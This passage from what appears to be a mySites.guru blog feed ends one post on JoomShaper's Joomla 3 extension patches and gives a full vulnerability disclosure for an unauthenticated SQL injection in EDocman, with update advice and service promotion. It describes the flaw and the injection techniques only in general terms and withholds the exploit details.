&lt;p&gt;Fall outside that and the install aborts with &quot;Unsupported Helix Ultimate version&quot;. It also requires Joomla 3.10.x specifically and PHP 7.2.5 or later.&lt;/p&gt;
&lt;p&gt;The problem is which sites that excludes. Joomla 3 sites are, by definition, the ones nobody has touched in years, and their Helix Ultimate installs skew old accordingly. Plenty are on 1.1.x or 2.0.x builds. Those sites cannot take this patch at all. They will download it, run the installer, get an error, and be exactly as exposed as they were this morning, except now with the impression that patches exist for them.&lt;/p&gt;
&lt;p&gt;So before you plan any patching round, check the version you are actually running on each site, not the version you assume. If a site sits below 2.1.0, the vendor patch is not an option and the honest answer for that site is that migration moved up your priority list today.&lt;/p&gt;
&lt;h2&gt;The Logistics Are Rough&lt;/h2&gt;
&lt;p&gt;Three practical things we hit trying to follow JoomShaper&apos;s own instructions, which you will hit too.&lt;/p&gt;
&lt;p&gt;The download links are missing. Both the Helix Ultimate and Helix3 sections tell you to &quot;Download the security patch .zip file from GitHub&quot; and neither sentence is a link. The packages exist and they are properly built, with checksums and a self-uninstalling installer, but the announcement does not get you to them. They are on the &lt;code&gt;j3-security-v1.0.0&lt;/code&gt; release tag of each repository, linked in the table above.&lt;/p&gt;
&lt;p&gt;The SP Page Builder patch is somewhere else entirely. It is not on GitHub with the other two, because the SP Page Builder repository has not been touched since 2020. It comes from the JoomShaper site download instead.&lt;/p&gt;
&lt;p&gt;And the patched extension does not announce itself. The Helix Ultimate package patches files to a &lt;code&gt;2.1.4-j3sec&lt;/code&gt; baseline and then removes itself, so a patched site does not obviously look different from an unpatched one. If you are tracking this across a lot of sites, record what you patched as you go, because the version number is not going to tell you later.&lt;/p&gt;
&lt;h2&gt;Patching Is Not Cleaning&lt;/h2&gt;
&lt;p&gt;The reason this distinction matters more than usual: these particular flaws were exploited in the wild before any of these patches existed.&lt;/p&gt;
&lt;p&gt;SP Page Builder&apos;s unauthenticated upload, &lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-48908&quot;&gt;CVE-2026-48908&lt;/a&gt;, was scored CVSS 10.0 and used to plant hidden Joomla Super Administrators. The Helix3 flaw fed &lt;a href=&quot;https://mysites.guru/blog/helix3-antonkill-defacement-wave/&quot;&gt;a defacement wave that stores its payload in the database&lt;/a&gt; rather than in a file. The Helix Ultimate mega-menu issue was used to store &lt;a href=&quot;https://mysites.guru/blog/helix-ultimate-security-update/&quot;&gt;cross-site scripting inside the menu settings&lt;/a&gt;, aimed at creating a Super User out of the next admin who logged in.&lt;/p&gt;
&lt;p&gt;Every one of those leaves something behind that a patch does not touch. A rogue Super Administrator survives patching. A payload sitting in the &lt;code&gt;params&lt;/code&gt; column of your &lt;code&gt;#__menu&lt;/code&gt; table survives patching, and survives a file scan, and survives a clean-file restore, because it was never a file. Attackers plant &lt;a href=&quot;https://mysites.guru/blog/hacked-yesterday-exploited-today/&quot;&gt;dormant droppers, hidden admins and malicious cron jobs&lt;/a&gt; precisely so that the obvious cleanup misses them.&lt;/p&gt;
&lt;p&gt;So if a site of yours was running a vulnerable build while these holes were open, patch it and then check it. mySites.guru ships one-click cleanup tools for these exact artefacts: rogue Super Admin accounts flagged by the signatures these campaigns reuse, the poisoned Helix Ultimate mega menu, the Helix3 custom code hack, and the rogue SP Page Builder icon-font assets. They work whatever Joomla version the site runs, because this wave hit Joomla 4, 5 and 6 sites as well.&lt;/p&gt;
&lt;h2&gt;Does This Change the Migration Advice?&lt;/h2&gt;
&lt;p&gt;Not in the slightest, and JoomShaper says so itself in the patch notes.&lt;/p&gt;
&lt;p&gt;Joomla 3 reached end of life in August 2023. The paid eLTS programme that extended it ended in February 2025. Since then the core has had no official security patches of any severity, and today&apos;s release does nothing about that, because it patches extensions, not the platform they sit on. A hardened extension on an unpatched core is a better position than an unhardened one. It is still not a supported site.&lt;/p&gt;
&lt;p&gt;What today buys you is breathing room, and the right use of breathing room is to spend it migrating. The targets are Joomla 5 or Joomla 6. Not Joomla 4: its own security support ended in October 2025, so migrating 3 to 4 moves you onto another unsupported line. For the core itself in the meantime, mySites.guru applies the &lt;a href=&quot;https://mysites.guru/blog/how-to-fix-joomla-3-security-issues-with-a-single-click/&quot;&gt;backported Joomla 3.10.999 security patches with a single toggle&lt;/a&gt;, which closes the known core holes while you plan the move.&lt;/p&gt;
&lt;h2&gt;The Bottom Line&lt;/h2&gt;
&lt;p&gt;JoomShaper got to the right answer, and got there in six days. That deserves saying plainly, because the alternative, a vendor leaving a CVSS 10.0 class of flaw unpatched on the majority of live Joomla sites, was a genuinely bad outcome and it did not happen.&lt;/p&gt;
&lt;p&gt;What the six days show is how much weight a vendor&apos;s end-of-life policy carries when it is announced as final. For the length of that window, every agency running Joomla 3 was told the fixes were never coming and made decisions on that basis. Some of those decisions were &quot;leave it, nothing can be done&quot;. The patches were reachable enough that they shipped less than a week later.&lt;/p&gt;
&lt;p&gt;The practical takeaway is the same one we keep arriving at. Know which sites you have, know what is on them, patch what you can, clean what got hit, and keep migrating. Start with a &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;free audit&lt;/a&gt; on one site if you want to see what your Joomla 3 exposure actually looks like.&lt;/p&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.joomshaper.com/blog/security-update-for-joomla-3-users&quot;&gt;JoomShaper: Security Update for Joomla 3 Users&lt;/a&gt; - today&apos;s announcement and the patch notes for all three products.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.joomshaper.com/blog/joomshaper-drops-joomla-3-support&quot;&gt;JoomShaper: Joomla 3 Support Has Come to an End&lt;/a&gt; - the 9 July announcement, including the &quot;no security patches, regardless of severity&quot; line.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/JoomShaper/helix-ultimate/releases/tag/j3-security-v1.0.0&quot;&gt;Helix Ultimate j3-security-v1.0.0 release&lt;/a&gt; - the actual packages, checksums and fix list.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/JoomShaper/Helix3/releases/tag/j3-security-v1.0.0&quot;&gt;Helix3 j3-security-v1.0.0 release&lt;/a&gt; - the Helix3 plugin and template patches.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-48908&quot;&gt;CVE-2026-48908&lt;/a&gt; - the SP Page Builder unauthenticated upload record, CVSS 10.0.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-49049&quot;&gt;CVE-2026-49049&lt;/a&gt; - the Helix3 unauthenticated write record behind the AntonKill wave.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://endoflife.date/joomla&quot;&gt;Joomla End of Life dates&lt;/a&gt; - which Joomla versions are still supported.&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>security</category><category>joomla</category><category>joomla 3</category><category>joomshaper</category><category>end-of-life</category><category>vulnerability</category><enclosure url="https://mysites.guru/_astro/joomshaper-reverses-joomla-3-decision.DlXBx4ui.png" length="0" type="image/png"/></item><item><title>Unauthenticated SQL Injection in EDocman found by mySites.guru</title><link>https://mysites.guru/blog/edocman-sql-injection-disclosure/</link><guid isPermaLink="true">https://mysites.guru/blog/edocman-sql-injection-disclosure/</guid><description>mySites.guru found an unauthenticated SQL injection in EDocman for Joomla that let anyone read the whole database. Fixed in 3.9.0 - update now.</description><pubDate>Tue, 14 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://joomdonation.com/joomla-extensions/edocman-joomla-download-manager.html&quot;&gt;EDocman&lt;/a&gt; is one of the most widely installed document and download management extensions for Joomla. During routine security research on the extensions our customers rely on, &lt;strong&gt;mySites.guru discovered an unauthenticated SQL injection vulnerability in EDocman and reported it privately to JoomDonation, who fixed it in EDocman 3.9.0.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;If you run EDocman on any Joomla site, update to 3.9.0 now. If you manage more than a handful of sites, read on for how to find every affected one at once. This is the same class of flaw we recently found and reported in &lt;a href=&quot;https://mysites.guru/blog/acymailing-sql-injection-disclosure/&quot;&gt;AcyMailing&lt;/a&gt; and &lt;a href=&quot;https://mysites.guru/blog/dpcalendar-sql-injection-disclosure/&quot;&gt;DPCalendar&lt;/a&gt;: a public front-end endpoint that trusts request input it should not.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;mySites.guru discovered this security issue and reported it privately to the EDocman team. JoomDonation has now released the fix in EDocman 3.9.0. We are still withholding the exact request and any proof-of-concept while site owners update. This is how we handle every vulnerability we find: fix first, publish second.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;TL;DR&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;mySites.guru found an &lt;strong&gt;unauthenticated SQL injection&lt;/strong&gt; in EDocman for Joomla and reported it responsibly to the vendor&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;EDocman 3.8 and earlier&lt;/strong&gt; are affected, and the vulnerable feature is long-standing. JoomDonation fixed it in &lt;strong&gt;EDocman 3.9.0&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;A public front-end endpoint places a request parameter straight into a database query, so a single &lt;strong&gt;anonymous request could read data from any table&lt;/strong&gt;: user accounts, password hashes, stored content, other Joomla API secrets, everything in the database&lt;/li&gt;
&lt;li&gt;We did not stop at theory. We &lt;strong&gt;proved a full database read&lt;/strong&gt; on a test install, pulling back the site&apos;s Super User account and confirming the database connected as the MySQL superuser, so the read reached &lt;strong&gt;every database on that server&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Update to EDocman 3.9.0 now.&lt;/strong&gt; If you cannot update immediately, make sure a SQL-filtering firewall is in front of the site as a stopgap&lt;/li&gt;
&lt;li&gt;We are still withholding the exact request and any proof-of-concept while site owners update&lt;/li&gt;
&lt;li&gt;mySites.guru flags every connected Joomla site still running a vulnerable version, so you do not have to check each site by hand&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;What is the vulnerability?&lt;/h2&gt;
&lt;p&gt;EDocman exposes a front-end endpoint that anonymous visitors can reach without logging in. That endpoint accepted a request parameter and placed it into a database query &lt;strong&gt;without sanitising or quoting it&lt;/strong&gt;, the textbook shape of a &lt;a href=&quot;https://owasp.org/www-community/attacks/SQL_Injection&quot;&gt;SQL injection&lt;/a&gt;. Joomla&apos;s standard text filter, which the extension applied to that parameter, strips HTML but does nothing to neutralise SQL syntax: it removes tags and leaves quotation marks, parentheses and SQL keywords untouched. It is the same &lt;a href=&quot;https://mysites.guru/blog/ajax-endpoints-cms-security-blind-spot/&quot;&gt;public-endpoint-meets-unchecked-input pattern&lt;/a&gt; behind a long run of recent Joomla extension vulnerabilities.&lt;/p&gt;
&lt;p&gt;So an attacker could supply a crafted parameter that turned the query into one reading from any table in the Joomla database. No account needed, no CSRF token, nothing stolen first, and it works in a single request.&lt;/p&gt;
&lt;p&gt;In practice that means an unauthenticated attacker could read:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Joomla user accounts, including usernames and password hashes&lt;/li&gt;
&lt;li&gt;The Joomla configuration secret and password reset tokens&lt;/li&gt;
&lt;li&gt;Article and content records, extension configuration, session data and other stored values&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;We are deliberately not publishing the exact request, the affected endpoint or a working proof-of-concept. The point of this post is to get people onto 3.9.0, not to hand attackers a recipe while sites are still updating.&lt;/p&gt;
&lt;h2&gt;This was a full database compromise, and we proved it&lt;/h2&gt;
&lt;p&gt;It is one thing to say a flaw &quot;could&quot; read the database. We confirmed it against a real EDocman install and read the data back. On a local test site running EDocman 3.8, a single anonymous request returned:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;the &lt;strong&gt;database version&lt;/strong&gt; and the name of the live database&lt;/li&gt;
&lt;li&gt;the identity of the account the site connects to MySQL with, which was the &lt;strong&gt;MySQL superuser&lt;/strong&gt; (&lt;code&gt;root&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;the site&apos;s &lt;strong&gt;Super User record&lt;/strong&gt; pulled straight out of the Joomla users table&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;That last point is the whole game. If an anonymous stranger can read the Super User row, they can read every row: every user account, every bcrypt password hash, every password reset token, other Joomla API secrets, order records or API keys stored anywhere in the database. Confidentiality is not partially affected here. It is gone.&lt;/p&gt;
&lt;p&gt;There is an aggravating factor that makes this worse than one leaked site. On many Joomla installs, and on the one we tested, the database account the site connects with is &lt;strong&gt;highly privileged&lt;/strong&gt;. Where that is the case, a read-only injection like this one is not limited to the one site&apos;s tables: it can read &lt;strong&gt;every database on that MySQL server&lt;/strong&gt;, including the server&apos;s own internal user table that holds every account&apos;s hash. The blast radius of a single injection can be an entire shared database host, not just one Joomla site. That is why &quot;it is only a read&quot; is cold comfort. A read of everything is a compromise.&lt;/p&gt;
&lt;h2&gt;Error-based and blind: both routes work here&lt;/h2&gt;
&lt;p&gt;There are two broad flavours of SQL injection, and this endpoint is exposed to both.&lt;/p&gt;
&lt;p&gt;The &lt;strong&gt;fast&lt;/strong&gt; one is error-based. Where a site returns database errors to the browser, whether through Joomla&apos;s debug mode, PHP&apos;s &lt;code&gt;display_errors&lt;/code&gt;, or a third-party error page or template that echoes the exception, an attacker forces the database to fail in a way that prints real data inside the error text. Each request comes back with dozens of characters of actual database content, so a Super User hash falls out in a handful of requests. We saw this fire on the test site even with Joomla debug switched off, because a third-party extension&apos;s error page leaked the database exception on its own.&lt;/p&gt;
&lt;p&gt;The &lt;strong&gt;quieter&lt;/strong&gt; one is blind. Where errors are fully suppressed, the response does not print anything useful, so the attacker asks the database true-or-false questions one at a time (is the first character of the admin hash greater than &lt;code&gt;m&lt;/code&gt;?) and reads the answer from how the page behaves. It is slower, and it is not smaller. Automated tooling walks a database out one bit at a time in seconds of wall-clock, and the end state is identical: the full contents of every table an anonymous request can reach. Do not read &quot;blind&quot; as &quot;limited&quot;. Blind is a throughput detail for the attacker, not a safety margin for you.&lt;/p&gt;
&lt;p&gt;If you have not met blind SQL injection before, this short explainer from Indusface walks through the exact mechanics:&lt;/p&gt;
&lt;div&gt;
  
&lt;/div&gt;
&lt;p&gt;None of this needs anything clever or new. &lt;a href=&quot;https://sqlmap.org/&quot;&gt;sqlmap&lt;/a&gt;, the standard open-source tool, has automated both error-based and blind extraction and dumped entire databases point-and-click since 2006. A flaw a human would find tedious to exploit by hand is a single command that has been public for the better part of twenty years. The only reliable answer has always been the same one: update the affected code.&lt;/p&gt;
&lt;h2&gt;The changelog understates how serious this is&lt;/h2&gt;
&lt;p&gt;JoomDonation fixed this quickly, and released EDocman 3.9.0 the same day, which is genuinely to their credit. The problem is what the release notes tell a site owner. The security items in &lt;a href=&quot;https://joomdonation.com/joomla-extensions/edocman-joomla-download-manager.html&quot;&gt;JoomDonation&apos;s own 3.9.0 release announcement&lt;/a&gt; read, in full (to see it yourself, open that product page and select the &lt;strong&gt;About Latest Version&lt;/strong&gt; tab):&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Fixed a reported front-end SQL injection vulnerability.&lt;/p&gt;
&lt;p&gt;Improved database query handling and input validation.&lt;/p&gt;
&lt;p&gt;Strengthened security for public front-end tasks.&lt;/p&gt;
&lt;p&gt;Improved filtering for document, category, and date parameters.&lt;/p&gt;
&lt;p&gt;Added safer redirect validation to prevent open redirect issues.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;That is the language of routine maintenance. &quot;Improved input validation&quot; and &quot;strengthened security&quot; are the words you use for a tidy-up, not for an emergency. A busy administrator skims that, files it under &quot;housekeeping&quot;, and leaves the update for next month.&lt;/p&gt;
&lt;p&gt;Here is what those five lines actually describe. &quot;A reported front-end SQL injection&quot; is an &lt;strong&gt;unauthenticated, no-login, single anonymous request that reads the entire database&lt;/strong&gt;, password hashes included, and on a privileged database account reads every other database on the server too. The changelog does not say unauthenticated. It does not say full database read. It does not say password hashes. Read on its own, it gives no reason to treat this as urgent, which is exactly the reason it is urgent: understatement is what keeps a critical hole open, because it persuades people not to patch.&lt;/p&gt;
&lt;p&gt;The changelog is also quietly telling on itself. Those last two lines, &quot;improved filtering for document, category, and date parameters&quot; and &quot;safer redirect validation&quot;, confirm that the front-end SQL injection was &lt;strong&gt;not the only issue in that code&lt;/strong&gt;. During the same audit we flagged additional raw request values reaching front-end queries, and an unvalidated redirect, and 3.9.0 hardened exactly those areas. One line in a changelog, several fixes underneath it. Treat 3.9.0 as the security release it is, not the maintenance release it reads like.&lt;/p&gt;
&lt;h2&gt;How serious is it?&lt;/h2&gt;
&lt;p&gt;Serious enough that we treated it as a priority disclosure. The two things that decide real-world impact are:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Whether the site has a web application firewall that filters SQL.&lt;/strong&gt; Because the payload is literally SQL, a firewall that inspects request parameters can recognise and block many injection attempts before they reach EDocman. That is worth having, but it is a layer, not a guarantee: rules differ between products and configurations, injections can be encoded to slip past filters, and a firewall you have not tested against this specific flaw is an assumption, not a control. Sites running bare, with nothing inspecting requests, are the exposed ones.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The site&apos;s own configuration&lt;/strong&gt;, including how much a database error reveals and how privileged the database account is. Where errors reach the browser, extraction is fast and loud; where they are suppressed, it is slow and quiet. Neither configuration makes the underlying flaw safe.&lt;/li&gt;
&lt;/ol&gt;
&lt;div&gt;
  &lt;p&gt;This is the case for defence in depth. A SQL-filtering firewall in front of the site can buy you time against an injection like this, which is exactly why running one is worth it. It does not mean you can skip updating. Treat the firewall as the seatbelt and the patch as not crashing the car: you want both.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;A firewall is mitigation, not a fix. The only reliable remedy is to update EDocman to 3.9.0.&lt;/p&gt;
&lt;h2&gt;Would a long, strong .htaccess have protected me against this?&lt;/h2&gt;
&lt;p&gt;Almost certainly not. A big hardened &lt;code&gt;.htaccess&lt;/code&gt; is the security blanket a lot of Joomla owners reach for, and it guards a different kind of attack than this one. The exploit here is an ordinary, allowed request to &lt;code&gt;index.php&lt;/code&gt;, the exact request your &lt;code&gt;.htaccess&lt;/code&gt; exists to let through so the site works at all. The dangerous part is not the URL, it is the SQL hidden inside one query-string value, and a stock &lt;code&gt;.htaccess&lt;/code&gt; never looks there.&lt;/p&gt;
&lt;p&gt;To block this at the &lt;code&gt;.htaccess&lt;/code&gt; layer you would need explicit rules that pattern-match SQL syntax in the query string and return a 403. Hardly anyone runs those, they are brittle, and they tend to block real visitors as often as attackers. Inspecting request input for SQL is really the job of a web application firewall with SQL injection filtering switched on, and even then only if that filtering is actually enabled. The short version applies here directly: update EDocman.&lt;/p&gt;
&lt;h2&gt;Which versions are affected?&lt;/h2&gt;
&lt;p&gt;EDocman &lt;strong&gt;3.8&lt;/strong&gt;, the current release at the time of discovery, contains the affected code path. The vulnerable feature has been part of the extension for a long time, so earlier 3.x releases (and likely older builds) share it. Treat &lt;strong&gt;any EDocman at or below 3.8&lt;/strong&gt; as affected. &lt;strong&gt;JoomDonation fixed the issue in EDocman 3.9.0.&lt;/strong&gt;&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;EDocman 3.9.0 fixes this. Update now, and do not wait to confirm exploitation: by the time you can confirm it, the data is already gone. If you cannot update immediately, make sure a SQL-filtering firewall is in front of any site running EDocman as a stopgap. This vulnerability is tracked as &lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-57832&quot;&gt;CVE-2026-57832&lt;/a&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;How do you update EDocman safely?&lt;/h2&gt;
&lt;p&gt;JoomDonation released EDocman 3.9.0 with the fix. Update straight away. The steps are the same as any Joomla extension update:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Take a backup first.&lt;/strong&gt; Before any extension update on a production Joomla site, back up the database and files. If you use mySites.guru, &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;trigger a snapshot&lt;/a&gt; or a &lt;a href=&quot;https://mysites.guru/blog/backup-all-your-joomla-wp-sites-easily-with-one-button-in-mysites-guru/&quot;&gt;full backup&lt;/a&gt; so you have a clean starting point.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Update through Joomla&apos;s Extensions manager, or in bulk from mySites.guru.&lt;/strong&gt; On a single site, open the Joomla administrator, go to System, then Update, then Extensions, and let Joomla pull EDocman 3.9.0. If it does not appear, use Find Updates, or download the latest package from your JoomDonation account and install it over the top. If you manage more than one site, do not do this one panel at a time: use the mySites.guru &lt;a href=&quot;https://mysites.guru/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard/&quot;&gt;mass update feature to upgrade every affected site from a single dashboard&lt;/a&gt;. We built the update runner to &lt;a href=&quot;https://mysites.guru/blog/how-to-update-joomla-joomla-extensions-wordpress-and-wordpress-plugins-from-mysites-guru/&quot;&gt;push Joomla extension updates to thousands of sites at once&lt;/a&gt;, and you can &lt;a href=&quot;https://mysites.guru/blog/automatic-updates-for-any-joomla-extension/&quot;&gt;enable auto-updates for any Joomla extension&lt;/a&gt; so a fix like this reaches your sites without you lifting a finger.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Confirm the version.&lt;/strong&gt; After updating, open Components, then EDocman, and check the version shown is &lt;strong&gt;3.9.0 or later&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Clear caches.&lt;/strong&gt; Clear Joomla&apos;s cache and any CDN or page cache so stale front-end assets do not linger.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Updating closes the door. It does not undo any data an attacker may already have read, so if you handle sensitive data and were on a vulnerable version for a long time, treat exposed data and any stored credentials as potentially known.&lt;/p&gt;
&lt;h2&gt;How do I find every EDocman site I manage?&lt;/h2&gt;
&lt;p&gt;The first question after any extension security release is the awkward one: which of my sites actually run this? Up to about ten sites, you can log in to each Joomla admin and check the installed extensions list. Past that, you need a single view.&lt;/p&gt;
&lt;p&gt;mySites.guru keeps a live inventory of every extension, template and framework on every Joomla and WordPress site in your account. You search for EDocman once and get back every connected site running it, the version each one is on, and whether an update is available. No logging into forty admin panels one at a time.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;View every EDocman install across your sites&lt;/p&gt;
  &lt;p&gt;&lt;a href=&quot;https://manage.mysites.guru/en/extensions&quot;&gt;Open your Extension Inventory&lt;/a&gt;&lt;/p&gt;
  &lt;p&gt;Search for EDocman across every connected Joomla site and filter for anything on 3.8 or earlier to find the installs that still need the update. Not a subscriber? &lt;a href=&quot;https://manage.mysites.guru/en/register&quot;&gt;Sign up free&lt;/a&gt; and connect your sites.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Once you know which sites need it, the &lt;a href=&quot;https://mysites.guru/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard/&quot;&gt;mass updater&lt;/a&gt; handles the rollout: tick the sites on an old version, push the update to all of them from one screen. When a fix ships, we add the affected range to our vulnerability database, so every connected site still on a vulnerable version of EDocman is flagged automatically. You should not have to learn about a Joomla security issue from the news and then go audit a portfolio of client sites by hand.&lt;/p&gt;
&lt;h2&gt;Why document and download extensions are a quiet attack surface&lt;/h2&gt;
&lt;p&gt;This is a pattern, not a one-off, and it is why the class of bug matters more than this single instance. Document managers, download managers and newsletter tools make attractive targets for the same reason they are useful: they expose front-end endpoints that anonymous visitors are meant to reach. Download links, category listings, unsubscribe links, search boxes, none of that can require a login.&lt;/p&gt;
&lt;p&gt;Every one of those public endpoints is attack surface. When the code behind them trusts request input, or hands it to a database query without escaping, an anonymous visitor becomes an anonymous attacker. We have seen the same class of issue across newsletter tools like &lt;a href=&quot;https://mysites.guru/blog/acymailing-sql-injection-disclosure/&quot;&gt;AcyMailing&lt;/a&gt;, calendar components like &lt;a href=&quot;https://mysites.guru/blog/dpcalendar-sql-injection-disclosure/&quot;&gt;DPCalendar&lt;/a&gt;, form builders like &lt;a href=&quot;https://mysites.guru/blog/balbooa-forms-unauthenticated-file-upload-flaw/&quot;&gt;Balbooa Forms&lt;/a&gt;, and page builders like &lt;a href=&quot;https://mysites.guru/blog/pagebuilderck-unauthenticated-file-upload-rce/&quot;&gt;PageBuilder CK&lt;/a&gt;: a public request that reaches a database query or a dangerous operation with too little checking in between.&lt;/p&gt;
&lt;p&gt;The lesson for site owners is not &quot;avoid document extensions&quot;. They are fine, and the reputable ones are well maintained. The lesson is that &lt;strong&gt;keeping them updated is security-critical, not just feature maintenance&lt;/strong&gt;. A document extension two versions behind is not a cosmetic problem, and as this changelog shows, a release that reads like housekeeping can be closing a hole in your whole database.&lt;/p&gt;
&lt;h2&gt;SQL injection is a recurring theme right now&lt;/h2&gt;
&lt;p&gt;This EDocman flaw is not an isolated find. It is one of several unauthenticated SQL injections we have uncovered in widely used Joomla extensions in a single research run, and they all share one root cause: a public front-end endpoint that takes anonymous request input and hands it to a database query without turning it into a safe value first.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://mysites.guru/blog/acymailing-sql-injection-disclosure/&quot;&gt;AcyMailing&lt;/a&gt;&lt;/strong&gt; (&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-56292&quot;&gt;CVE-2026-56292&lt;/a&gt;, CVSS 8.7). The same class of unauthenticated SQL injection in one of the most popular newsletter extensions for Joomla, fixed in 10.11.1.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://mysites.guru/blog/dpcalendar-sql-injection-disclosure/&quot;&gt;DPCalendar&lt;/a&gt;&lt;/strong&gt; (CVSS 8.7). The same shape again in a widely used calendar component, fixed in 10.11.2 and 8.19.4, with Digital Peak crediting us publicly for the find.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://mysites.guru/blog/a-month-of-joomla-security-disclosures/&quot;&gt;The month of Joomla disclosures&lt;/a&gt;&lt;/strong&gt;. EDocman is one entry in a larger run of vulnerabilities we found and reported across popular Joomla extensions in a single month, several of them this exact SQL injection shape.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://mysites.guru/blog/ajax-endpoints-cms-security-blind-spot/&quot;&gt;Why AJAX endpoints are a CMS security blind spot&lt;/a&gt;&lt;/strong&gt;. The underlying pattern, and why front-end endpoints like this one keep producing the bug.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Stay ahead of the next one&lt;/h2&gt;
&lt;p&gt;This is one extension on one day. There will be another, because Joomla runs on thousands of third-party extensions and the ones that accept input from anonymous visitors keep producing bugs like this. The hard part is never the update itself. It is knowing a fix exists, knowing which of your sites are affected, and getting to them before an attacker does, across every extension on every site you look after.&lt;/p&gt;
&lt;p&gt;That is the job mySites.guru does for you. It keeps a live inventory of every extension on every Joomla and WordPress site in your account, flags the ones with a known vulnerability, and lets you push the update to all of them from one screen. When something like this EDocman flaw is disclosed, you see exactly which sites are exposed in seconds, without opening a single admin panel to check.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Get free email alerts when a Joomla vulnerability breaks&lt;/p&gt;
  &lt;p&gt;We email a plain-English alert the moment a serious flaw like this one is disclosed, with the affected versions and what to do. No charge, unsubscribe any time.&lt;/p&gt;
  &lt;p&gt;&lt;a href=&quot;https://list.mysites.guru/subscribe&quot;&gt;Subscribe to security alerts&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Want the alerts and the tooling to act on them? Start with a &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;free audit&lt;/a&gt; on one site and see your full extension inventory, or &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;sign up for mySites.guru&lt;/a&gt; to get vulnerability alerts and one-click updates across every site you manage.&lt;/p&gt;
&lt;h2&gt;What to do right now&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Update every Joomla site running EDocman to &lt;strong&gt;3.9.0&lt;/strong&gt; or later, one at a time or &lt;a href=&quot;https://mysites.guru/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard/&quot;&gt;in bulk from one dashboard&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;If you cannot update immediately, make sure a SQL-filtering web application firewall is in front of any site running EDocman, and remember it is mitigation, not a fix&lt;/li&gt;
&lt;li&gt;If you manage multiple sites, let mySites.guru show you which ones are still exposed rather than checking by hand&lt;/li&gt;
&lt;li&gt;Take a backup before updating, and clear caches afterwards&lt;/li&gt;
&lt;li&gt;If you were on a vulnerable version for a long time and handle sensitive data, treat any exposed data as potentially read, rotate exposed credentials and other Joomla API secrets, and if you suspect a breach, &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;find any hacked files and backdoors&lt;/a&gt; and follow our guide to &lt;a href=&quot;https://mysites.guru/blog/how-to-fix-a-hacked-joomla-or-wordpress-site-with-mysites-guru/&quot;&gt;fixing a hacked Joomla or WordPress site&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Disclosure and Severity&lt;/h2&gt;
